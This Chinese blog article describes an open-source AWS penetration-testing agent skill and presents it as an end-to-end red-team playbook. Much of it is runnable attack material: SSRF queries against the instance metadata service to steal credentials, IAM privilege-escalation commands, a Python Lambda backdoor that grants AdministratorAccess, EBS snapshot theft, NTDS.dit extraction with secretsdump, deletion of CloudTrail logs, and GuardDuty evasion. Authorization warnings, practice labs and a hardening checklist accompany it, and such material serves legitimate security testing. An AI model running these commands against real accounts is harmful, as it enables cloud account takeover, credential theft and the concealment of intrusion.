news 2026/9/21 20:58:28

Agentic Awesome Skills 中的 AWS 渗透测试技能:从 IAM 枚举到权限提升的完整红队操作指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Agentic Awesome Skills 中的 AWS 渗透测试技能:从 IAM 枚举到权限提升的完整红队操作指南
  • AI 技能
  • AI 插件

【免费下载链接】agentic-awesome-skills

AAS Core is the local, agent-first control plane for complete catalog discovery, agent-owned selection, stack validation, and planning, backed by 2,400+ agentic skills. Includes CLI, local MCP, catalog, plugins, and Workbench.

项目地址:https://gitcode.com/gh_mirrors/an/agentic-awesome-skills
点击查看免费下载

导读

本文以开源仓库agentic-awesome-skills的插件技能库中 aws-penetration-testing/SKILL.md 为骨架,系统拆解在 AWS 云环境中开展授权渗透测试的完整方法论:从身份与权限枚举、元数据 SSRF 攻击(IMDSv1/v2、Fargate 容器凭证)、IAM 权限提升,到 S3 桶利用、Lambda 代码提取、SSM 命令执行与持久化技术。读完本文,你将掌握一套可直接落地的红队操作工作流(含完整 CLI 命令与 Python 载荷)、关键攻击链的底层原理(结合仓库中 进阶参考文档 展开),以及合规红线——该技能在仓库中被明确标记为risk: offensive,仅允许用于获得书面授权的安全评估、防御性验证或受控教学环境

⚠️ 授权使用声明(来自原技能文档)本技能仅用于教育目的或经授权的安全评估。在使用前,你必须获得系统所有者的明确书面许可。滥用本技能是违法行为,且被严格禁止。

强制确认门(Mandatory confirmation gate):在运行任何对目标进行探测、利用、修改、持久化、数据提取或凭据访问的命令之前:

  1. 要求用户明确说出目标的确切 URL、IP、账户或资源;
  2. 要求用户确认书面授权与允许的范围;
  3. 展示将执行的确切命令并解释其预期效果;
  4. 等待当前会话中的明确确认。

未获得确认前,应保持只读操作,仅提供防御性建议,并优先使用沙箱、一次性虚拟机或受控实验环境。


一、技能定位:仓库中的进攻性安全技能

该技能位于plugins/agentic-awesome-skills-claude/skills/aws-penetration-testing/目录,包含两个文件:主文档 SKILL.md 与进阶参考文档 references/advanced-aws-pentesting.md。

从技能头部元数据可以看到仓库对该技能的定位:

name: aws-penetration-testing description: "Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations." risk: offensive source: community author: zebbern date_added: "2026-02-27"
  • risk: offensive明确标识该技能属于进攻性安全范畴,需要在授权边界内使用;
  • source: community表示该技能由社区贡献并收录进技能索引。

仓库中其他技能也会引用它:例如 cloud-devops/SKILL.md 将aws-penetration-testing归类为 "AWS security" 相关技能(见该文件第 140 行),并把它列入推荐的 AWS 技能组合中(第 205 行:aws-skills, aws-serverless, aws-penetration-testing)。这说明该技能在仓库的云安全技能体系中承担"攻击视角验证与红队测试"的职责,与常规的云运维技能形成互补。

该技能设计的目标输出(Deliverables)包括:IAM 权限提升路径、提取的凭据与密钥、被攻陷的 EC2/Lambda/S3 资源、持久化机制,以及安全审计发现清单。


二、前置条件与工具链

2.1 输入/前置条件

开始执行前需要具备:

  • AWS CLI 已配置凭据(aws configure);
  • 有效的 AWS 凭据(即使是低权限凭据也可作为攻击起点);
  • 对 AWS IAM 权限模型的基本理解(用户、组、角色、策略、信任关系);
  • Python 3 与boto3库(用于编写利用载荷);
  • 以下渗透测试工具中的全部或部分。

2.2 核心工具清单

工具用途安装方式
PacuAWS 利用框架(攻击流程自动化,自带用户代理伪装)git clone https://github.com/RhinoSecurityLabs/pacu
SkyArkShadow Admin(影子管理员)发现Import-Module .\SkyArk.ps1
Prowler安全审计pip install prowler
ScoutSuite多云审计pip install scoutsuite
enumerate-iam权限枚举(探测每项 IAM 权限是否可用)git clone https://github.com/andresriancho/enumerate-iam
Principal MapperIAM 关系与权限路径分析pip install principalmapper

2.3 进阶工具扩展(来自参考文档)

进阶参考文档 还补充了一组进阶工具:

  • weirdAAL:AWS 攻击库,按模块调用 API 探测可利用权限,例如:
    python3 weirdAAL.py -m ec2_describe_instances -t demo python3 weirdAAL.py -m lambda_get_account_settings -t demo python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2'
  • cloudmapper:AWS 环境分析器,生成 HTML 报告、IAM 专项报告,检查错误配置:
    git clone https://github.com/duo-labs/cloudmapper.git pipenv install --skip-lock pipenv shell # report(HTML 报告)/ iam_report(IAM 报告)/ audit(错误配置检查) # collect(收集账户元数据)/ find_admins(识别管理员用户与角色)
  • cloudsplaining:IAM 安全评估,下载并扫描账户的 IAM 策略:
    pip3 install --user cloudsplaining cloudsplaining download --profile myawsprofile cloudsplaining scan --input-file default.json
  • s3_objects_check:S3 对象权限双视角(白盒/黑盒)检查:
    python s3-objects-check.py -p whitebox-profile -e blackbox-profile
  • dufflebag:利用 Amazon EBS "public" 模式发现暴露的磁盘中的密钥。

三、核心工作流(一):初始枚举与身份确认

红队操作的起点永远是确认当前身份与权限边界。原文档给出的标准流程如下:

# 1. 检查当前身份(谁在说话) aws sts get-caller-identity # 2. 为已获取的凭据配置独立 profile,避免污染本机默认凭据 aws configure --profile compromised # 3. 列出当前用户的访问密钥 aws iam list-access-keys # 4. 使用 enumerate-iam 批量探测可用权限 ./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

要点说明:

  • aws sts get-caller-identity返回的Arn字段能告诉我们当前身份是 IAM 用户还是被假设的角色,这直接决定后续枚举方向;
  • 将失陷凭据单独放入--profile compromised是良好的操作习惯:便于审计,也避免与红队自己的合法凭据混淆;
  • enumerate-iam会尝试调用数百个 AWS API,通过观察哪些调用返回Access Denied、哪些返回其他错误来绘制权限地图,是低权限起点下最有效的侦察手段之一。

四、核心工作流(二):IAM 枚举

拿到一个 IAM 用户身份后,系统性枚举其权限路径:

# 列出所有用户 aws iam list-users # 列出用户所属的组 aws iam list-groups-for-user --user-name TARGET_USER # 列出附加到用户的托管策略 aws iam list-attached-user-policies --user-name TARGET_USER # 列出用户的内联策略 aws iam list-user-policies --user-name TARGET_USER # 获取策略详情 aws iam get-policy --policy-arn POLICY_ARN aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1 # 列出角色 aws iam list-roles aws iam list-attached-role-policies --role-name ROLE_NAME

枚举原则:只列出用户/策略名称还不够,必须拉取策略的具体版本内容get-policy-version)才能看清语句中的ActionResource和条件键。很多"影子管理员"权限恰恰藏在内联策略或托管策略版本中。这正是Principal Mapperpip install principalmapper)这类工具存在的意义——它能把 IAM 实体与策略之间的关系可视化成权限图,快速定位可被利用的提权链路。


五、核心工作流(三):元数据端点 SSRF(EC2 / ECS / Fargate)

5.1 IMDSv1:直接访问

AWS 实例元数据服务(Instance Metadata Service)地址固定为169.254.169.254。当应用存在 SSRF 漏洞且实例未启用 IMDSv2 强制模式时,可借此获取角色临时凭据:

# 访问元数据根路径 http://169.254.169.254/latest/meta-data/ # 获取 IAM 角色名 http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 提取临时凭据(替换 ROLE-NAME) http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

响应中包含一组临时凭据:

{ "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2019-08-01T05:20:30Z" }

注意其中的Expiration字段:临时凭据会轮换过期,攻击者需要周期性回源刷新。

5.2 IMDSv2:先取 Token 再访问

AWS 从 2023 年起逐步强制 IMDSv2,该版本要求先通过 PUT 请求获取会话 Token:

# 1. 获取 Token(TTL 单位为秒,21600 = 6 小时) TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ "http://169.254.169.254/latest/api/token") # 2. 携带 Token 访问元数据 curl -H "X-aws-ec2-metadata-token:$TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

如果目标实例强制 IMDSv2,那么不带 Token 的请求会返回401 Unauthorized。这也解释了原文档"约束"一节中强调的探测顺序:先判断目标实例的 IMDS 版本,再决定攻击路径。

5.3 ECS/Fargate 容器凭据

在容器场景中,元数据地址与路径不同:

# 1. 先读取进程环境变量,定位凭据相对路径 /proc/self/environ # 关注:AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/... # 2. 用相对 URI 访问容器凭证端点(地址为 169.254.170.2) http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

这是 ECS 任务角色(task role)凭据的获取方式,常用于从容器逃逸或 RCE 场景中提取容器所在角色的权限。

5.4 实战案例:SSRF 提权到管理员(原文档 Example 1)

# 1. 在 Web 应用中发现 SSRF 漏洞 https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 2. 从响应中读取角色名 # 3. 提取该角色的临时凭据 https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole # 4. 用偷取的凭据配置环境变量 export AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=... # 5. 验证访问 aws sts get-caller-identity

这条链路(SSRF → IMDS → 临时凭据 → CLI 接管)是 AWS 云环境中最高频的初入路径之一,本技能将其完整封装为可复现的命令序列。


六、IAM 权限提升技术

6.1 Shadow Admin(影子管理员)权限表

以下权限单独或组合出现时,几乎等同于管理员权限:

权限利用方式
iam:CreateAccessKey为管理员用户创建新的访问密钥
iam:CreateLoginProfile为任意用户设置登录密码
iam:AttachUserPolicy将管理员策略附加到自己身上
iam:PutUserPolicy添加内联管理员策略
iam:AddUserToGroup把自己加入管理员组
iam:PassRole+ec2:RunInstances启动带管理员角色的 EC2 实例
lambda:UpdateFunctionCode向 Lambda 注入恶意代码

6.2 具体利用命令

为其他用户创建访问密钥:

aws iam create-access-key --user-name target_user

给自己附加管理员托管策略:

aws iam attach-user-policy --user-name my_username \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

添加内联管理员策略(策略文档从本地文件读取):

aws iam put-user-policy --user-name my_username \ --policy-name admin_policy \ --policy-document file://admin-policy.json

其中admin-policy.json是一个允许全部操作的策略文档,例如:

{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }

6.3 Lambda 提权:注入后门代码

当目标身份拥有lambda:UpdateFunctionCode权限时,可以编写一个在函数被调用时执行 IAM 提权的lambda_handler,然后上传恶意 ZIP 覆盖原函数:

# code.py - 注入到目标 Lambda 函数中 import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName='my_username', PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) return response
# 更新 Lambda 函数代码(触发一次函数调用即可完成提权) aws lambda update-function-code --function-name target_function \ --zip-file fileb://malicious.zip

进阶参考文档 还给出了一个更强的"Lambda 后门"变体——同时对角色和用户附加管理员策略,并返回Pwned状态码:

import boto3 import json def handler(event, context): iam = boto3.client("iam") iam.attach_role_policy( RoleName="role_name", PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) iam.attach_user_policy( UserName="user_name", PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) return {'statusCode': 200, 'body': json.dumps("Pwned")}
# 上传后门并触发 aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT

七、S3 桶利用

7.1 桶发现

  • 使用bucket_finder配合字典文件爆破公开桶名:
    ./bucket_finder.rb wordlist.txt ./bucket_finder.rb --download --region us-east-1 wordlist.txt
  • 常见的桶 URL 模式(可作为黑盒验证目标):
    https://{bucket-name}.s3.amazonaws.com https://s3.amazonaws.com/{bucket-name}
  • 也可借助公开的桶搜索站点(如buckets.grayhatwarfare.com)检索历史公开桶(仅限授权范围内的信息收集)。

7.2 桶枚举与下载(有凭据场景)

# 列出当前凭据可访问的所有桶 aws s3 ls # 递归列出桶内容 aws s3 ls s3://bucket-name --recursive # 同步下载全部文件(用于离线分析泄露的密钥/配置文件) aws s3 sync s3://bucket-name ./local-folder

S3 的常见问题包括:桶策略误配导致公开读写、ListBucket权限泄露对象名、对象 ACL 宽松导致敏感数据可读。s3_objects_check(白盒 profile + 黑盒 profile 对比)正是用于系统化发现这类权限漂移。


八、Lambda 函数利用与代码提取

# 列出账户内所有 Lambda 函数 aws lambda list-functions # 获取函数代码(响应中会返回一个可下载代码的预签名 URL) aws lambda get-function --function-name FUNCTION_NAME # 调用函数(验证函数行为 / 触发后门) aws lambda invoke --function-name FUNCTION_NAME output.txt

进阶参考文档 将 Lambda 枚举延伸为完整链路:

# 获取函数详情并下载代码 aws lambda get-function --function-name FUNCTION_NAME wget -O lambda-function.zip "url-from-previous-query" # 获取函数策略(检查是否可被外部触发) aws lambda get-policy --function-name FUNCTION_NAME # 列出事件源映射(了解什么事件会触发该函数) aws lambda list-event-source-mappings --function-name FUNCTION_NAME # 列出并拉取 Lambda Layer(依赖层中常藏有密钥) aws lambda list-layers aws lambda get-layer-version --layer-name NAME --version-number VERSION

从 Lambda 运行时获取凭据的三种入口(RCE/SSRF 场景):

# 1. 通过 RCE 读取环境变量(环境变量中常存有数据库口令、API Key) https://apigateway/prod/system?cmd=env # 2. 通过 SSRF 访问运行时 API(9001 端口) https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/ # 3. 通过文件读取 /proc/self/environ https://apigateway/prod/system?cmd=file:///proc/self/environ

API Gateway 枚举

配合 Lambda 使用的 API Gateway 也是信息收集重点:

# 列出 REST API aws apigateway get-rest-apis # 获取 API 详情 aws apigateway get-rest-api --rest-api-id ID # 列出端点(资源) aws apigateway get-resources --rest-api-id ID # 获取方法详情 aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET # 列出部署阶段 aws apigateway get-stages --rest-api-id ID # 列出 API Key(--include-values 直接带出密钥值) aws apigateway get-api-keys --include-values

九、SSM 命令执行(横向移动)

如果当前身份具备ssm:SendCommand权限,就可以在受管 EC2 实例上直接执行 Shell 命令——这是 AWS 中最高效的"远程 RCE 通道"之一:

# 1. 列出受管实例 aws ssm describe-instance-information # 2. 在目标实例上执行命令(示例为 whoami 探测) aws ssm send-command --instance-ids "i-0123456789" \ --document-name "AWS-RunShellScript" \ --parameters commands="whoami" # 3. 拉取命令执行输出 aws ssm list-command-invocations --command-id "CMD-ID" \ --details --query "CommandInvocations[].CommandPlugins[].Output"

十、EC2 卷级利用

10.1 挂载目标 EBS 卷(离线读数据)

当身份具备 EC2 快照/卷权限时,可以"搬走"目标实例的磁盘内容:

# 1. 为目标卷创建快照 aws ec2 create-snapshot --volume-id vol-xxx --description "Audit" # 2. 从快照创建新卷 aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a # 3. 挂载到攻击者控制的实例 aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf # 4. 在实例内挂载并读取数据 sudo mkdir /mnt/stolen sudo mount /dev/xvdf1 /mnt/stolen

10.2 CloudCopy:Windows 域控的"影子拷贝"攻击

针对 Windows 域控的经典 CloudCopy 手法:

# 1. 创建域控卷快照 # 2. 将快照共享给攻击者账户 # 3. 在攻击者实例中挂载 # 4. 提取 NTDS.dit 与 SYSTEM 注册表配置单元,离线破解域哈希 secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

这条链路把云原生快照能力与经典 Windows 域渗透(ntds.dit 提取)结合,是混合环境红队评估的常用手法。


十一、API Key 转控制台访问

CLI 凭据通常无法直接用于 Web 控制台登录,需要转换成签名登录 URL:

git clone https://github.com/NetSPI/aws_consoler aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY # 输出可用于浏览器登录的 console signin URL

转换成功后,即可在控制台以该身份进行 GUI 操作(浏览 S3、查看 CloudTrail、访问需要控制台会话的功能),这也是从 API 失陷走向完整账户接管的关键一步。


十二、痕迹清理(Covering Tracks)

本节内容仅在授权渗透测试的既定范围内适用,且必须遵守原文档"约束"节中的红线(见下文)。

12.1 削弱 CloudTrail 审计

# 删除跟踪 aws cloudtrail delete-trail --name trail_name # 关闭全局服务事件记录(管理平面事件仍可能记录) aws cloudtrail update-trail --name trail_name \ --no-include-global-service-events # 关闭多区域跟踪(缩小记录范围) aws cloudtrail update-trail --name trail_name \ --no-include-global-service-events --no-is-multi-region-trail

12.2 User-Agent 规避

原文档明确提示:Kali/Parrot/Pentoo 等发行版的默认用户代理会触发 GuardDuty 告警。建议改用 Pacu——它内置了自定义 User-Agent 机制,可降低被监控平台特征检测的概率。


十三、快速参考速查表

任务命令
获取身份aws sts get-caller-identity
列出用户aws iam list-users
列出角色aws iam list-roles
列出桶aws s3 ls
列出 EC2aws ec2 describe-instances
列出 Lambdaaws lambda list-functions
获取元数据curl http://169.254.169.254/latest/meta-data/

十四、进阶扩展:凭据泄露型 API 与更多服务利用

进阶参考文档 总结了所有会直接返回凭据的 AWS API——这是权限枚举时最值得优先探测的高价值调用:

API 调用说明
chime:createapikey创建 API Key
codepipeline:pollforjobs轮询任务
cognito-identity:getopenidtoken获取 OpenID Token
cognito-identity:getcredentialsforidentity获取身份凭据
connect:getfederationtoken获取联合 Token
ecr:getauthorizationtokenECR 认证 Token
gamelift:requestuploadcredentialsGameLift 上传凭据
iam:createaccesskey创建访问密钥
iam:createloginprofile创建登录配置
iam:createservicespecificcredential创建服务专用凭据
lightsail:getinstanceaccessdetails获取实例访问详情
lightsail:getrelationaldatabasemasteruserpassword获取数据库主密码
rds-db:connectRDS 连接
redshift:getclustercredentialsRedshift 凭据
sso:getrolecredentialsSSO 角色凭据
sts:assumerole角色切换
sts:assumerolewithsamlSAML 角色切换
sts:assumerolewithwebidentityWeb 身份角色切换
sts:getfederationtoken获取联合 Token
sts:getsessiontoken获取会话 Token

14.1 Secrets Manager 与 KMS

# Secrets Manager 枚举与读取 aws secretsmanager list-secrets aws secretsmanager describe-secret --secret-id NAME aws secretsmanager get-resource-policy --secret-id ID aws secretsmanager get-secret-value --secret-id ID # KMS 密钥枚举 aws kms list-keys aws kms describe-key --key-id ID aws kms list-key-policies --key-id ID aws kms get-key-policy --policy-name NAME --key-id ID # KMS 解密(密文自带密钥元数据,可离线解密) aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext

14.2 容器安全(ECS / EKS / ECR)

# ECR 仓库枚举 aws ecr describe-repositories aws ecr get-repository-policy --repository-name NAME aws ecr list-images --repository-name NAME aws ecr describe-images --repository-name NAME --image-ids imageTag=TAG # ECS 集群与任务枚举(describe-tasks 可获取用于横向移动的网络信息) aws ecs list-clusters aws ecs describe-clusters --cluster NAME aws ecs list-services --cluster NAME aws ecs describe-services --cluster NAME --services SERVICE aws ecs list-tasks --cluster NAME aws ecs describe-tasks --cluster NAME --tasks TASK_ARN aws ecs list-container-instances --cluster NAME # EKS 集群枚举 aws eks list-clusters aws eks describe-cluster --name NAME aws eks list-nodegroups --cluster-name NAME aws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME aws eks list-fargate-profiles --cluster-name NAME # 容器后门:构建恶意镜像推送到 ECR aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR docker build -t image_name . docker tag image_name ECR_ADDR:IMAGE_NAME docker push ECR_ADDR:IMAGE_NAME # 通过 RCE 读取 Pod 内 Kubernetes 服务账号 Token https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token

14.3 RDS 数据库利用

# 枚举(重点关注 IAMDatabaseAuthenticationEnabled 是否为 false——false 表示使用密码认证) aws rds describe-db-clusters aws rds describe-db-instances aws rds describe-db-subnet-groups aws rds describe-db-security-groups aws rds describe-db-proxies # 密码认证直连 mysql -h HOSTNAME -u USERNAME -P PORT -p # IAM 认证:生成数据库认证 Token 后连接 TOKEN=$(aws rds generate-db-auth-token \ --hostname HOSTNAME \ --port PORT \ --username USERNAME \ --region REGION) mysql -h HOSTNAME -u USERNAME -P PORT \ --enable-cleartext-plugin --password=$TOKEN

14.4 DynamoDB

# 列出表 aws dynamodb list-tables # 扫描全部内容 aws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]' # 按主键条件查询 aws dynamodb query --table-name TABLE_NAME \ --key-condition-expression "pk = :pk" \ --expression-attribute-values '{":pk":{"S":"user"}}'

14.5 VPC 枚举与横向移动

# VPC 网络拓扑枚举 aws ec2 describe-vpcs aws ec2 describe-subnets --filters "Name=vpc-id,Values=VPC_ID" aws ec2 describe-route-tables --filters "Name=vpc-id,Values=VPC_ID" aws ec2 describe-network-acls aws ec2 describe-vpc-peering-connections # 通过 VPC Peering 横向移动:先列出对等连接,再枚举对端 VPC 实例 aws ec2 describe-vpc-peering-connections aws ec2 describe-instances --filters "Name=vpc-id,Values=VPC_ID" aws ec2 describe-instances --filters "Name=subnet-id,Values=SUBNET_ID"

路由表目标类型(判断流量走向与可达性):

目标说明
localVPC 内部
igwInternet 网关
natNAT 网关
pcxVPC 对等连接
vpceVPC 端点
vgwVPN 网关
eni网络接口

十五、演练环境与防御自检

15.1 训练靶场(来自参考文档)

资源说明
AWSGoat故意构造漏洞的 AWS 基础设施
CloudgoatAWS CTF 式演练场景
FlawsAWS 安全挑战
SadCloudTerraform 构建的漏洞 AWS 环境
DVCA易受攻击的云应用

这些靶场用于在隔离、可销毁的环境中验证攻击链,完全符合原文档"优先使用沙箱、一次性虚拟机或受控实验环境"的约束。

15.2 安全基线自检清单(防御视角)

参考文档末尾给出了一套完整的加固基线,摘录核心条目:

身份与访问管理(IAM)

  • 避免使用 root 账户进行日常操作
  • 所有具备控制台访问权限的 IAM 用户启用 MFA
  • 禁用超过 90 天未使用的凭据
  • 每 90 天轮换访问密钥
  • 密码策略:大写 + 小写 + 符号 + 数字,长度 ≥ 14 位
  • 不存在 root 访问密钥;root 账户启用 MFA
  • IAM 策略仅附加到组/角色(而非个人用户)

日志(Logging)

  • 所有区域启用 CloudTrail
  • 开启 CloudTrail 日志文件校验
  • CloudTrail 的 S3 桶不公开可读
  • CloudTrail 接入 CloudWatch Logs
  • 所有区域启用 AWS Config
  • CloudTrail 日志使用 KMS 加密,KMS 密钥开启轮换

网络(Networking)

  • 不存在允许0.0.0.0/0访问 22 端口的安全组
  • 不存在允许0.0.0.0/0访问 3389 端口的安全组
  • 开启 VPC Flow Logs
  • 默认安全组限制所有流量

监控(Monitoring)

  • 未授权 API 调用告警
  • 无 MFA 控制台登录告警
  • root 账户使用告警
  • IAM 策略变更告警
  • CloudTrail 配置变更告警
  • 控制台认证失败告警
  • CMK 禁用/删除告警
  • S3 桶策略变更告警
  • 安全组变更告警
  • NACL 变更告警
  • VPC 变更告警

十六、约束与红线(Must / Must Not / Should)

原文档"Constraints"一节将操作边界明确化,这是执行任何授权测试都必须遵守的契约:

必须(Must):

  • 测试前获得书面授权;
  • 记录所有操作以形成审计轨迹;
  • 仅测试范围内的资源。

禁止(Must Not):

  • 未经批准修改生产数据;
  • 未经记录留下持久后门;
  • 永久禁用安全控制。

应当(Should):

  • 在尝试元数据攻击前先检查 IMDSv2;
  • 在利用前充分枚举;
  • 测试结束后清理测试资源。

十七、常见问题排查(Troubleshooting)

问题解决方案
所有命令返回 Access Denied使用 enumerate-iam 枚举实际可用权限
元数据端点被阻断检查是否强制 IMDSv2,尝试容器元数据端点
触发 GuardDuty 告警使用 Pacu 携带自定义 User-Agent
凭据过期从元数据端点重新获取(临时凭据会轮换)
CloudTrail 记录操作评估禁用或日志混淆(仅在授权范围内)

十八、总结:从技能文档到实战方法论

aws-penetration-testing技能在仓库中的定位是一个端到端的 AWS 红队操作手册:它覆盖了从"拿到一组合法(甚至低权限)凭据"到"枚举 → 提权 → 横移 → 持久化 → 清理"的完整攻击生命周期,并在每一步给出可直接执行的 AWS CLI 命令与 Python 载荷。

综合主文档 SKILL.md 与 references/advanced-aws-pentesting.md,可以提炼出三条贯穿始终的核心方法论:

  1. 枚举优先,利用在后:低权限身份下先画全权限地图(enumerate-iamPrincipal MappercloudmapperweirdAAL),再找最短提权路径;
  2. 元数据端点是云环境的"软肋":IMDSv1/v2、ECS 容器凭据端点(169.254.170.2)与 Lambda 运行时 API 共同构成了一条"无密钥接管"的快捷链路;
  3. 一切以授权为前提:技能头部强制确认门 + 约束节红线 + 安全基线自检清单,共同保证该技能只能服务于授权测试与防御性验证。

对于防御方而言,本文同样是一份攻击视角的加固清单:按第十五节的安全基线逐项核验 IAM、日志、网络与监控配置,即可显著压缩上述攻击链的利用空间。

  • AI 技能
  • AI 插件

【免费下载链接】agentic-awesome-skills

AAS Core is the local, agent-first control plane for complete catalog discovery, agent-owned selection, stack validation, and planning, backed by 2,400+ agentic skills. Includes CLI, local MCP, catalog, plugins, and Workbench.

项目地址:https://gitcode.com/gh_mirrors/an/agentic-awesome-skills
点击查看免费下载

相关推荐

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/21 20:54:13

SpringBoot+Vue滑雪场管理系统架构设计与实践

1. 项目概述:滑雪场管理系统的技术架构与业务价值滑雪场作为冬季运动的核心场所,其运营管理涉及票务销售、装备租赁、会员管理、教练预约等十余项业务模块。传统人工管理方式不仅效率低下,还容易出现数据丢失和财务漏洞。这套基于SpringBootV…

作者头像 李华
网站建设 2026/9/21 20:51:38

鸿蒙4.0时间日期国际化开发实战

1. 项目背景与核心挑战在鸿蒙系统应用开发过程中,时间日期显示是个看似简单却暗藏玄机的基础功能。去年我们团队接手一个跨国金融应用项目时,就曾因为时区转换错误导致日本用户看到交易记录时间全部错乱8小时,差点引发客户投诉。这次教训让我…

作者头像 李华
网站建设 2026/9/21 20:38:37

Java与PHP核心技术对比与选型指南

1. 语言背景与定位差异Java和PHP作为两种截然不同的编程语言,各自在技术生态中占据着独特位置。Java诞生于1995年,最初被设计为一种"编写一次,到处运行"的通用编程语言,其强类型、面向对象的特性使其在企业级应用开发中…

作者头像 李华
网站建设 2026/9/21 20:35:15

解决Lombok @Getter注解失效的排查指南

1. 问题现象与背景分析最近在Java项目中使用Lombok的Getter注解时遇到了一个奇怪的问题:明明在类上添加了Getter注解,但在调用getCode()方法时却报"找不到符号"的错误。这个问题看似简单,却困扰了我整整一个下午。经过排查发现&…

作者头像 李华